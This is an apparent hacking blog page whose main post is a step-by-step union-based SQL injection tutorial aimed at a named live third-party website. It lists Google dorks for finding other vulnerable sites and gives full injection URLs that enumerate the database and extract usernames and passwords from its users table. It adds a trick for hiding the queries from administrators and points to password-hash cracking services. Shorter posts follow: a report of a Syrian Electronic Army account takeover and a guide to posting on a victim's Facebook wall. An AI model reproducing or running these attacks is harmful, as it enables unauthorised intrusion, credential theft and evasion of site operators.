SQL Injection Basics - Union Based [Detailed Tutorial]

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6Lk-Y7qJI6S6DddZCl2cJoJOaSVcMEGf659aOJx6OjVAW-r-ULOzNu0LQJXjscf9tzJuBQ70jKc3TIqaRF1dO1-HRVmW9nho4M-hCAyUYweOUpIJb0gi8VTW-kb_QQu9Mg4_jOzjTqkE/s1600/SQL-Injection-Attack.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="222" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6Lk-Y7qJI6S6DddZCl2cJoJOaSVcMEGf659aOJx6OjVAW-r-ULOzNu0LQJXjscf9tzJuBQ70jKc3TIqaRF1dO1-HRVmW9nho4M-hCAyUYweOUpIJb0gi8VTW-kb_QQu9Mg4_jOzjTqkE/s320/SQL-Injection-Attack.jpg" width="320" /></a></div>Well, I would not be blogging about some thing new, however, it was missing at <a href="http://www.rafayhackingarticles.net/" target="_blank">RHA</a> for a long long time, thought there are tools out there to carry out all sorts of SQL Injection attacks however if you don't know what your tool is exactly doing at the backend then it's useless and the best way to learn according to me is doing it manually. As there is a saying that <b>"A fool with a tool is always a fool"</b>, With that being said, i would like to summarize what i would be talking about in this post. Basically, i would be targeting a live website that is known to be vulnerable to SQL Injection, i have reported them many times, however they don't care so therefore i am making a full disclosure. Also in this post i would not be explaining what a <b>SQL injection is (In Detail)</b>, because i feel that there are tons and tons of websites that have already written about it. However, i would talk more about the testing process. <br /><h4>What Is SQL Injection?</h4>SQL Injection is one of the most commonly found vulnerabilities present on the web, It holds the number one place in Owasp Top 10. A SQL Injection can be defined as an attack in which we append SQL queries in order to extract the data present in the database. This normally occurs due to lack of input validation. SQL Injection can also commonly used by attackers to bypass authentication, however here, we would focus on Data extraction with SQL Injection.<br /><a name="more"></a><br /><h4>Finding A Vulnerable Website</h4>In order to begin with this tutorial, you would need a vulnerable website. Either, you could use the one, which i would be mentioning in this tutorial, or you could find your own. You could use variety of google dorks for this purpose. Here are some of the common dorks to find a SQL Injection vulnerability:<br /><br /><i>inurl:/general.php?*id=*</i><br /><i>inurl:/careers-detail.asp?id=</i><br /><i>inurl:/WhatNew.asp?page=&id=</i><br /><i>inurl:/gallery.asp?cid=</i><br /><i>inurl:/publications.asp?type=</i><br /><i>inurl:/mpfn=pdview&id=</i><br /><i>inurl:/reservations.php?id=</i><br /><i>inurl:/list_blogs.php?sort_mode=</i><br /><i>inurl:/eventdetails.php?*=</i><br /><i>inurl:/commodities.php?*id=</i><br /><i>inurl:/recipe-view.php?id=</i><br /><i>inurl:product.php?mid=</i><br /><i>inurl:view_ad.php?id=</i><br /><i>inurl:/imprimir.php?id=</i><br /><i>inurl:/prodotti.php?id=</i><br /><i>inurl:index.cgi?aktion=shopview</i><br /><i>inurl:/default.php?id=</i><br /><i>inurl:/default.php?portalID=</i><br /><i>inurl:/*.php?id=</i><br /><i>inurl:/articles.php?id=</i><br /><i>inurl:/os_view_full.php?</i><br /><i>inurl:/Content.asp?id=</i><br /><i>inurl:/CollectionContent.asp?id=</i><br /><br />Alternatively to save your self some time, you could use a neat tool called <b>"Xcode Exploit Scanner"</b>  which would use built in dorks in order to find a SQL injection vulnerability.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHEYPsAebq7CMMITQAqAdplidM3YepBtgNJZI0_OIH6yKQV33CI4U_y-qe1mueOo5lm8L2A3dRX51AKG4l0gtU51AKCQfHXmt8_aMyROXJ6PEtQILsrda9bmJ1GJAVZPccM3SdvzeM60Q/s1600/xcode.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="402" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHEYPsAebq7CMMITQAqAdplidM3YepBtgNJZI0_OIH6yKQV33CI4U_y-qe1mueOo5lm8L2A3dRX51AKG4l0gtU51AKCQfHXmt8_aMyROXJ6PEtQILsrda9bmJ1GJAVZPccM3SdvzeM60Q/s640/xcode.png" width="577" /></a></div><h4>Testing For SQL Injection</h4><b>http://www.outreachforyouth.org/description.php?recordID=1</b><br /><br />We would test the above website for a SQL injection vulnerability. Which could clearly from the url that <b>recordID parameter </b>is accepting the input, these places are more likely to have a sql injection vulnerability as there are chances that the input validation is not performed. So in order to test for a SQL Injection vulnerability, we would insert a <b>'</b>, after the input, this would break the query. Depending upon the database, we would get different types of errors.<br /><br />On appending the<b> '</b>, we get an error:<br /><br /><b>Request: http://www.outreachforyouth.org/description.php?recordID=1' </b><br /><br />we get the following error:<br /><br /><i>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1</i><br /><i><b><br /></b></i><br /><h4>Determining The Number Of Columns:</h4><b><br /></b>In Mysql, an order by command is used to order a sequence in a particular order, here we would be using an order by command to determine the number of columns. Our first request would look like:<br /><br /><b>http://www.outreachforyouth.org/description.php?recordID=1 order by 1</b>--<br /><br />The page loads fine.<br /><br />We would keep increasing the order by command number until we get an error, which would usually be something like <b>"Unknown column in 'order clause'"</b> or something similar to it. So in this case<br /><br /><i><b>http://www.outreachforyouth.org/description.php?recordID=1 order by 1</b>-- No error</i><br /><i><b>http://www.outreachforyouth.org/description.php?recordID=1 order by 2</b>-- </i><i>No error</i><br /><i><b>http://www.outreachforyouth.org/description.php?recordID=1 order by 3</b>-- </i><i>No error</i><br /><i><b>http://www.outreachforyouth.org/description.php?recordID=1 order by 4-</b></i><i>No error</i><i><b> </b><b>http://www.outreachforyouth.org/description.php?recordID=1 order by 6</b>--</i><i>No error</i><br /><i><b>http://www.outreachforyouth.org/description.php?recordID=1 order by 7</b>--</i><i>No error</i><br /><i><b>http://www.outreachforyouth.org/description.php?recordID=1 order by 8</b>--</i><i>No error</i><i><br /><b>http://www.outreachforyouth.org/description.php?recordID=1 order by 9</b>--</i><i>No error</i><br /><i><b>http://www.outreachforyouth.org/description.php?recordID=1 order by 10</b>--</i><i>No error</i><br /><i><b>http://www.outreachforyouth.org/description.php?recordID=1 order by 11</b>--</i><i>No error</i><br /><b style="font-style: italic;">http://www.outreachforyouth.org/description.php?recordID=1 order by 12</b><i>--</i><b><u><i>Error</i></u></b><br /><b><u><i><br /></i></u></b><i><u>Hence we conclude that the number of columns are 11. </u></i><br /><b><br /></b><b>String Method</b><br /><b><br /></b>In above example, the column count were found by integer method. However, sometimes, we would need to use string method in order to find columns count, In that case, no matter how you much you increase the order count the page will load fine, in those cases, you would keep the <b>' </b>appended when determining the column count.<br /><b><br /></b><b>Example:</b><br /><b><br /></b><i><b>http://www.outreachforyouth.org/description.php?recordID=1' order by 11</b>--</i><br /><i><br /></i><b><br />Finding A Vulnerable Coulmn</b><br /><br />Next, we would need to find the vulnerable column, which would be used to extract data from the database. We would use a Union command, which is the combination of two select statements in order to extract the data. Along with it, we will also place a negative sign just after the equal sign.<br /><b><br /></b><b>Example</b><br /><b><br /></b><i><b>http://www.outreachforyouth.org/description.php?recordID=-1 Union all select 1,2,3,4,5,6,7,8,9,10,11--</b></i><br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-k5jRwJ-pkDpzlxWGWoaAhgOwJSkvZg3UmVQPMY7h79bTXH4iM0Py8DbTCF5x0zYo1AKNCZi-7c5ZyDcvLk6D3tLYARcU0HVUN9o4b1i1vO-of8jv5DlOAPXnYLtI7RDxmgx3NfplD-o/s1600/Untitled.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="360" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-k5jRwJ-pkDpzlxWGWoaAhgOwJSkvZg3UmVQPMY7h79bTXH4iM0Py8DbTCF5x0zYo1AKNCZi-7c5ZyDcvLk6D3tLYARcU0HVUN9o4b1i1vO-of8jv5DlOAPXnYLtI7RDxmgx3NfplD-o/s640/Untitled.png" width="577" /></a></div><br />So, as you can look at the above picture is that we see 3,4 and 6th column on the page. This shows us that these particular columns are being used to display information on the webpage and can be used to extract information from the database.<br /><br /><b><br /></b><b>Other Methods</b><br /><b><br /></b><i><b>http://www.outreachforyouth.org/description.php?recordID=-1 Union all select 1,2,3,4,5,6,7,8,9,10,11--</b></i><br /><i><b>http://www.outreachforyouth.org/description.php?recordID=1 and 1=0 Union all select 1,2,3,4,5,6,7,8,9,10,11--</b></i><br /><i><b>http://www.outreachforyouth.org/description.php?recordID=Null Union all select 1,2,3,4,5,6,7,8,9,10,11--</b></i><br /><i><b><br /></b></i><br /><h4>Fingerprinting The Database</h4>The next step would be to use the vulnerable column in order to finger print the database. We would use the following commands.<br /><br /><b>user() -</b> Shows the current user.<br /><b>version() -</b> Displays the database version <span style="color: red;">(Super Important)</span><br /><b>database() - </b>Displays the name of the database.<br /><br />Let's finger print the database information.<br /><br /><b>Example:</b><br /><br /><i><b>http://www.outreachforyouth.org/description.php?recordID=-1 Union all select 1,2,3,version(),5,6,7,8,9,10,11--</b></i><br /><i><b>http://www.outreachforyouth.org/description.php?recordID=-1 Union all select 1,2,3,user(),5,6,7,8,9,10,11--</b></i><br /><i><b>http://www.outreachforyouth.org/description.php?recordID=-1 Union all select 1,2,3,database(),5,6,7,8,9,10,11--</b></i><br /><i><b><br /></b></i><b>Extracted Information</b><br /><b><br /></b><i>Database Version: 5.1.66-cll</i><br /><i>User: outreach_db_user@localhost</i><br /><i>Database: outreach5</i><br /><i><br /></i><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEilQE20q88uIpmp_nnCuBZB9BL-NywvQGpgtpj4WuwbtJj9B1StTZx2gEU-BN1Ov-L9Wy5ZJUHPsIezVX-MeP3YW_RMrWFXCe546MCNOuLlqe3xflOq1luFyUTYMh87f6IRFawlNBAPUT4/s1600/Untitled.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="426" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEilQE20q88uIpmp_nnCuBZB9BL-NywvQGpgtpj4WuwbtJj9B1StTZx2gEU-BN1Ov-L9Wy5ZJUHPsIezVX-MeP3YW_RMrWFXCe546MCNOuLlqe3xflOq1luFyUTYMh87f6IRFawlNBAPUT4/s640/Untitled.png" width="577" /></a></div><i><br /></i>We are lucky that we have version 5 here, therefore it's possible for us to extract the table names, however, if the version would have been less than 5, we would had to guess the table names, because in mysql version 4, there is no information_schema which links all the databases.<br /><b><br /></b><br /><h4>Extracting The Table Names</h4><b><br /></b>Now, we add queries to extract the table names from the current database, we would use group_concat inside the vulnerable column order to extract all the tables.<br /><i><br /></i><i>Note: If we would just use concat, we would be able to extract only one table name.  </i><br /><b><br /></b><b>Example</b><br /><b><i><br /></i></b><b><i>http://www.outreachforyouth.org/description.php?recordID=-1 union all select 1,2,3,group_concat(table_name),5,6,7,8,9,10,11 from information_schema.tables</i></b><br /><b><i><br /></i></b><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjw0PwXn2QlIwUnZxIFBbPvePRyr30fx_EkZ7NNhOGPwTUK46pNxZ0boap_KDZ4hw70Ii-YnPlQ5k-mwHw5vD9NNWnaWdm7bVvgKMmB_6Ow4JJY4ay6DRkM4dDNEL82pfOzmz1l1OaJjRo/s1600/sql.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="313" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjw0PwXn2QlIwUnZxIFBbPvePRyr30fx_EkZ7NNhOGPwTUK46pNxZ0boap_KDZ4hw70Ii-YnPlQ5k-mwHw5vD9NNWnaWdm7bVvgKMmB_6Ow4JJY4ay6DRkM4dDNEL82pfOzmz1l1OaJjRo/s640/sql.png" width="577" /></a><b><i><br /></i></b><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br />This would extract all the table names. However most of them would be unimportant for us, we are in search for the tables such as users, administrators etc. So therefore to filter out our search to only extract tables from the current database.<br /><b><br /></b><b>Example</b><br /><br /><i>http://www.outreachforyouth.org/description.php?recordID=-1 union all select 1,2,3,group_concat(table_name),5,6,7,8,9,10,11 from information_schema.tables<b> where table_schema=database()--</b></i><br /><i><b><br /></b></i><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqpKZZmxNIjrTjGYmt4jVDmSdMx7A8wyeBqUjh6f1INuS-MYHPQJkQ6_eqqhf70D_TZPgNvIRuXd5bIjPtEs846HfhlCOJ6NnjTfRGD2SzLBRjUbwoSIC5MYtXJ7F4qsCC2v1qr7Cf23g/s1600/Untitled.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="242" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqpKZZmxNIjrTjGYmt4jVDmSdMx7A8wyeBqUjh6f1INuS-MYHPQJkQ6_eqqhf70D_TZPgNvIRuXd5bIjPtEs846HfhlCOJ6NnjTfRGD2SzLBRjUbwoSIC5MYtXJ7F4qsCC2v1qr7Cf23g/s640/Untitled.png" width="577" /></a></div><i><b><br /></b></i><br /><div><div><b>Extracted Tables</b></div><div><b><br /></b></div><div><i>churchtestimonies,description,testimonies,users</i></div></div><br /><br />We have successfully extracted four tables, however the most important data would be contained inside the users tables.<br /><b><br /></b><br /><h4>Converting The Table Names To Hex Or Mysql Char</h4><b><br /></b>Most of the times the table names would not work when extracting data from a table, therefore i would recommend you to either convert the table_names to hex or my sql char. You can google for online tools or use hackbar in order to convert.<br /><b><br /></b><b>Hex Equivalent:</b><br /><b><br /></b><b>User = </b>0x5573657273<br /><br /><b>Mysql Char Equivalnet:</b><br /><b><br /></b><b>User = </b>CHAR(117, 115, 101, 114, 115)<br /><br />So now our query would become:<br /><b><br /></b><b>Example</b><br /><br /><i>http://www.outreachforyouth.org/description.php?recordID=-1 union all select 1,2,3,group_concat(<b>column_name</b>),5,6,7,8,9,10,11 from information_schema.<b>columns</b> <b>where table_name=CHAR(117, 115, 101, 114, 115)--</b></i><br /><i><b><br /></b></i>So, what the above query is asking is to return all the columns in table from <b>information_schema.columns</b> where the table name is the char equivalent of users.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi6CDiZuk7V7LFuVgVwwhSdw-BTR_Hru-mTyQjJs8Ec9wMY6Me22tr7O1iaX-HSog3JbNXWUtdtbw5C9JgR6GvnBmpH-Gpl-cRtGYFpWuhdcUg1aHR-URn9pffufa5Jw5JOoYz56cRgY0o/s1600/sql.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="354" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi6CDiZuk7V7LFuVgVwwhSdw-BTR_Hru-mTyQjJs8Ec9wMY6Me22tr7O1iaX-HSog3JbNXWUtdtbw5C9JgR6GvnBmpH-Gpl-cRtGYFpWuhdcUg1aHR-URn9pffufa5Jw5JOoYz56cRgY0o/s640/sql.png" width="577" /></a></div><br /><br />So, three columns were returned inside the users table:<br /><br /><b>id, name, password. </b><br /><b><br /></b>Now it's time to extract the id, name and password from the users table.<br /><br />Our final query would be:<br /><b><br /></b><b>Example</b><br /><b><i><br /></i></b><b><i>http://www.outreachforyouth.org/description.php?recordID=-1 union all select 1,2,3,concat(id,name,password),5,6,7,8,9,10,11 from users--</i></b><br /><br />So, in the above query we are just asking the database for the data behind the id, name and password from the table <b>users</b>. You may have noticed that we used concat here instead of group_concat, this is because, we wanted just to extract the password for the first user which is most of the times the administrator.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPW7pCZd6qzQdF49fisTHd0SgXPytdrXtJE4liW-5fOZukrc9n0jewvrMhfLJDO4lJGENiHu1g_Bpakq8wlU1zVQQY59q2auyFEkZDqi4VCejkbpa_w6JIAPnVjIOjB9RpOZWKAI-bbsE/s1600/Untitled.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="276" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPW7pCZd6qzQdF49fisTHd0SgXPytdrXtJE4liW-5fOZukrc9n0jewvrMhfLJDO4lJGENiHu1g_Bpakq8wlU1zVQQY59q2auyFEkZDqi4VCejkbpa_w6JIAPnVjIOjB9RpOZWKAI-bbsE/s640/Untitled.png" width="577" /></a></div><br /><div class="separator" style="clear: both; text-align: center;"></div><br />In order to format it well, we can use table exits.<br /><b><br /></b><b>Example:</b><br /><i><br /></i><br /><i>http://www.outreachforyouth.org/description.php?recordID=1 and 1=0 union all select 1,2,3,concat(id,<b>0x3a</b> ,name,<b>0x3a</b>,password,<b>0x3a</b>),5,6,7,8,9,10,11 from users--</i><br /><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsULhMX4-9pxxr9Qth-i9YFDSHaeUnrHpH7So5MPM8tSbCeY0uXV2-VNj2OE8cymM4ZJuwU58ho5-xuku_BDfvL0iQd1s3B9kF8pi-Xsqgr6wHFytDyGkCmbiNwYO7tKg9KKn5gkN9F2M/s1600/Untitled.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="362" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsULhMX4-9pxxr9Qth-i9YFDSHaeUnrHpH7So5MPM8tSbCeY0uXV2-VNj2OE8cymM4ZJuwU58ho5-xuku_BDfvL0iQd1s3B9kF8pi-Xsqgr6wHFytDyGkCmbiNwYO7tKg9KKn5gkN9F2M/s640/Untitled.png" width="577" /></a></div><div>So finally we have extracted the username and password from the database. Some websites store the passwords in form of hashes, you would mostly see MD5 hashes, if you come across a MD5 hash, You can use tons of services online to decrypt the hash. My favorite is Md5 decrpyter <b>(http://www.md5decrypter.co.uk/)</b> , it contains list of more than 8.7 billion decrypted passwords. Alternatively, you can also perform brute force or dictionary attacks using a tool called <b>PasswordsPro</b>, You could also launch a GPU based password cracking attack by using a tool called<b> OCI hash cat</b>.<br /><b><br /></b><br /><h4>Hiding Queries From The Administrators</h4>In order to avoid administrators noticing the attack, we would need to append sp_password at the end of the query. Here is the query:<br /><b><br /></b><b>Example:</b><br /><i><br /></i><i>http://www.outreachforyouth.org/description.php?recordID=1 and 1=0 union all select 1,2,3,user(),5,6,7,8,9,10,11-- sp_password</i><br /><b><br /></b><b>Queries Summary</b><br /><b><br /></b><br /><div style="font-weight: bold;"><br /></div><div style="font-weight: bold;">Vulnerability</div><div style="font-weight: bold;"><br /></div>http://www.outreachforyouth.org/description.php?recordID=1'<br /><div style="font-weight: bold;"><br /></div><div style="font-weight: bold;">Determining the number of Columns</div><br />http://www.outreachforyouth.org/description.php?recordID=1 order by 1,2,3,4,5,6,7,8,9,10,11--<br /><div style="font-weight: bold;"><br /></div><div style="font-weight: bold;">Union Comman to find vulnerale Columns</div><div style="font-weight: bold;"><br /></div>http://www.outreachforyouth.org/description.php?recordID=1 and 1=0 union all select 1,2,3,4,5,6,7,8,9,10,11--<br /><div style="font-weight: bold;"><br /></div><div style="font-weight: bold;">Version Detection </div><div style="font-weight: bold;"><br /></div>http://www.outreachforyouth.org/description.php?recordID=1 and 1=0 union all select 1,2,3,@@version,5,6,7,8,9,10,11--<br /><div style="font-weight: bold;"><br /></div><div style="font-weight: bold;">User detection</div><br />http://www.outreachforyouth.org/description.php?recordID=1 and 1=0 union all select 1,2,3,user(),5,6,7,8,9,10,11-- sp_password<br /><div style="font-weight: bold;"><br /></div><div style="font-weight: bold;">Database </div><br />http://www.outreachforyouth.org/description.php?recordID=1 and 1=0 union all select 1,2,3,database(),5,6,7,8,9,10,11--<br /><div style="font-weight: bold;"><br /></div><div style="font-weight: bold;">Database Version: 5.0.675</div><div style="font-weight: bold;">User: outreach_db_user@localhost</div><div style="font-weight: bold;">Database: outreach5</div><div style="font-weight: bold;"><br /></div><div style="font-weight: bold;">Extracting the tables </div><div style="font-weight: bold;"><br /></div>http://www.outreachforyouth.org/description.php?recordID=-1 union all select 1,2,3,group_concat(column_name),5,6,7,8,9,10,11 from information_schema.columns where table_name=users()--<br /><div style="font-weight: bold;"><br /></div><div style="font-weight: bold;">Table</div><div style="font-weight: bold;">churchtestimonies,description,testimonies,users</div><div style="font-weight: bold;"><br /></div><div style="font-weight: bold;">Extracting Passwords Using Table Exits</div><div style="font-weight: bold;"><br /></div>http://www.outreachforyouth.org/description.php?recordID=1 and 1=0 union all select 1,2,3,concat(id),5,6,7,8,9,10,11 from users--<br /><br />http://www.outreachforyouth.org/description.php?recordID=1 and 1=0 union all select 1,2,3,concat(id,0x3a ,name,0x3a,password,0x3a),5,6,7,8,9,10,11 from users--<br /><div style="font-weight: bold;"><br /></div>So this concludes this post, I would try to cover other advanced techniques such as time based techniques for SQL injection in my upcoming posts.<br /><b><i><br /></i></b><b><i>Update: We have just released the second part of the series on "<a href="http://www.rafayhackingarticles.net/2013/02/blind-sql-injection-detection-and.html" target="_blank">Blind SQL Injection</a>" detection and exploitation techniques, if you interested in learning more about SQL injection than it's worth taking a look at it.</i></b> </div></div>

SQL Injection Basics - Union Based [Detailed Tutorial]

Well, I would not be blogging about some thing new, however, it was missing at RHA for a long long time, thought there are tools out there ...

+ Read more »

Sky News's Twitter & Facebook Accounts Hacked By Syrian Electronic Army

<div dir="ltr" style="text-align: left;" trbidi="on">Sky News Arabia's Twitter accounts, Facebook Page and Email Accounts have been compromised. Infiltrating the Sky News Network is the Syrian Electronic Army.<br /><br />The accounts that faced the worst consequences were the channel's main Twitter Accounts including @skynewsarabia. The twitter accounts that were hacked were used for cultural and entertainment news. As far as the Facebook page is concerned - Facebook/skynewsarabia - was also penetrated by the hackers. Sky News later managed to regain control of its networks, accounts and pages from the harsh claws of the hackers.<br /><br />The hackers at Syrian Electronic Army said during an interview that they first targeted Sky News's Outlook Web App Email panel. Screenshot of the hacked inbox can be seen below:<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTRPM0OXeDik5X_MsRAkUMxu6yVfShQnrRW63MyLYpNCj2MNiOHbWTMt6vQsnsu7DBg98LN_IiLGlrrUxCIc3Vjmf79kAnoi2xMdPDWh9X9xT5paH5KV1k7xUznzwuOmqnftS7D47nYhU/s1600/Syrian+Electronic+Army.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="297" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTRPM0OXeDik5X_MsRAkUMxu6yVfShQnrRW63MyLYpNCj2MNiOHbWTMt6vQsnsu7DBg98LN_IiLGlrrUxCIc3Vjmf79kAnoi2xMdPDWh9X9xT5paH5KV1k7xUznzwuOmqnftS7D47nYhU/s640/Syrian+Electronic+Army.png" width="640" /></a></div><br /><br />The hackers than reset the password of Twitter and Facebook accounts and pages which were associated with that email address using the "Forgot Password" option. Pretty simple for professional hackers.<br /><br />The attack was carried out in solidarity with the rebels in the Syrian conflict, according to the hackers involved and against the foreign media's biased view against the Syrian President Bashar al-Assad.<br /><br />For more information, please stay tuned to RHA.<br /><br />Cheers!</div>

Sky News's Twitter & Facebook Accounts Hacked By Syrian Electronic Army

Sky News Arabia's Twitter accounts, Facebook Page and Email Accounts have been compromised. Infiltrating the Sky News Network is the Syr...

+ Read more »

How To Hack A Facebook Status

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="http://www.techlotips.com/?attachment_id=8302" rel="attachment wp-att-8302" style="margin-left: 1em; margin-right: 1em;"><img alt="images58" class="aligncenter size-full wp-image-8302" height="194" src="http://www.techlotips.com/wp-content/uploads/images58.jpeg" width="259" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div>Many of you are willing to <a href="http://www.rafayhackingarticles.net/2009/07/how-to-hack-facebook-account.html" target="_blank">hack a Facebook </a>status ( means to post status by his/her Facebook account). That is actually not much difficult and here we are gonna expose the easy way to do - what you are willing for. Here is the step-by-step tutorial on <a href="http://www.rafayhackingarticles.net/2009/07/how-to-hack-facebook-account.html" target="_blank">how to hack a Facebook </a>Status of someone(you want to target) on Facebook. Follow the instructions below:<br /><a name="more"></a><br /><b>Step 1: </b>Make sure to send this link: (<b>https://m.facebook.com/upload.php?email&_rdr</b>), to the person you want to target.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmZQJETdsV22oE5VO87wdfFZGEJ4eHS-CA3yKX8ae9UPDafoEOIhZ1UAfR3iYDAvGe8sz_GKinLb8ss_O_P26rlCLwXnNhNRSwXhuAd30_jDYpR2XdU-kpvz-qyjREVLrAb-pYssPasgQ/s1600/Untitled.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="402" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmZQJETdsV22oE5VO87wdfFZGEJ4eHS-CA3yKX8ae9UPDafoEOIhZ1UAfR3iYDAvGe8sz_GKinLb8ss_O_P26rlCLwXnNhNRSwXhuAd30_jDYpR2XdU-kpvz-qyjREVLrAb-pYssPasgQ/s640/Untitled.png" width="577" /></a></div><b>Step 2:</b> Ask the victim to give you an email address of his/her Facebook account (for example:<b>someone@facebook.com</b>). <br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="http://www.techlotips.com/?attachment_id=8298" rel="attachment wp-att-8298" style="margin-left: 1em; margin-right: 1em;"><img alt="cats5" class="aligncenter size-full wp-image-8298" height="197" src="http://www.techlotips.com/wp-content/uploads/cats5.jpg" width="335" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div><b>Step 3:</b> Make sure you have an Gmail account ( if not then just visit Gmail website and sign-up there to make new account).<br />  <a href="http://www.techlotips.com/?attachment_id=8288" rel="attachment wp-att-8288"><img alt="cats6" class="aligncenter size-full wp-image-8288" height="375" src="http://www.techlotips.com/wp-content/uploads/cats6.jpg" width="577" /></a><br /><b><br /></b><b>Step 4: </b>After sign-in to your Gmail account, just Click on the Compose button as shown below.<br /><br />  <a href="http://www.techlotips.com/?attachment_id=8290" rel="attachment wp-att-8290"><img alt="cats1" class="aligncenter size-full wp-image-8290" height="250" src="http://www.techlotips.com/wp-content/uploads/cats1.jpg" width="146" /></a><br /><br /><b>Step 5: </b><br /><br />Write email of the victim in the <b>"To" </b>box and write something as a status on "<b>Subject</b>" box and leave the message box empty. <a href="http://www.techlotips.com/?attachment_id=8295" rel="attachment wp-att-8295"><img alt="cats" class="aligncenter size-full wp-image-8295" height="517" src="http://www.techlotips.com/wp-content/uploads/cats3.jpg" width="543" /></a><br /><br /><br /><b> Step 6: </b>After the above steps, simply press the <b>"Send"</b> button to complete the process.<br />  <a href="http://www.techlotips.com/?attachment_id=8291" rel="attachment wp-att-8291"><img alt="cats2" class="aligncenter size-full wp-image-8291" height="520" src="http://www.techlotips.com/wp-content/uploads/cats2.jpg" width="543" /></a><br /><br /><b>Step 7:</b> Now go on and check his/her Facebook wall/timeline, you will surely find a status you have written in the email.<br />  <a href="http://www.techlotips.com/?attachment_id=8301" rel="attachment wp-att-8301"><img alt="cats4" class="aligncenter size-full wp-image-8301" height="373" src="http://www.techlotips.com/wp-content/uploads/cats41.jpg" width="577" /></a><br /><br />Keep enjoying with this authentic hacking method. And keep visiting us for interesting hacking tips.<br /><br />Rafay contacted facebook regarding this bug, and they said that it was an intentional feature and is an acceptable risk.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtWKyx-Y8jT191RC7AoqQ1xmp5Efy51OHX6zDDeNOpQZbgzTF-fl7AyJtUAhAA52GV8vMHjoHJhxVh2gA1rCcJ3hSqA03Wg4PFdtDxWTgxlt1KUtWEj8swN1Th5YUyJIAGxsv5vRXd4NI/s1600/Untitled.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtWKyx-Y8jT191RC7AoqQ1xmp5Efy51OHX6zDDeNOpQZbgzTF-fl7AyJtUAhAA52GV8vMHjoHJhxVh2gA1rCcJ3hSqA03Wg4PFdtDxWTgxlt1KUtWEj8swN1Th5YUyJIAGxsv5vRXd4NI/s640/Untitled.png" width="577" /></a></div><b><br /></b><b>About The Author</b><br /><b><br /></b>This article has been written by Farhan Memon, He is the newest member of RHA crew. </div>

How To Hack A Facebook Status

Many of you are willing to hack a Facebook status ( means to post status by his/her Facebook account). That is actually not much difficult a...

+ Read more »

How To Hack Wordpress And Joomla - Password Cracker

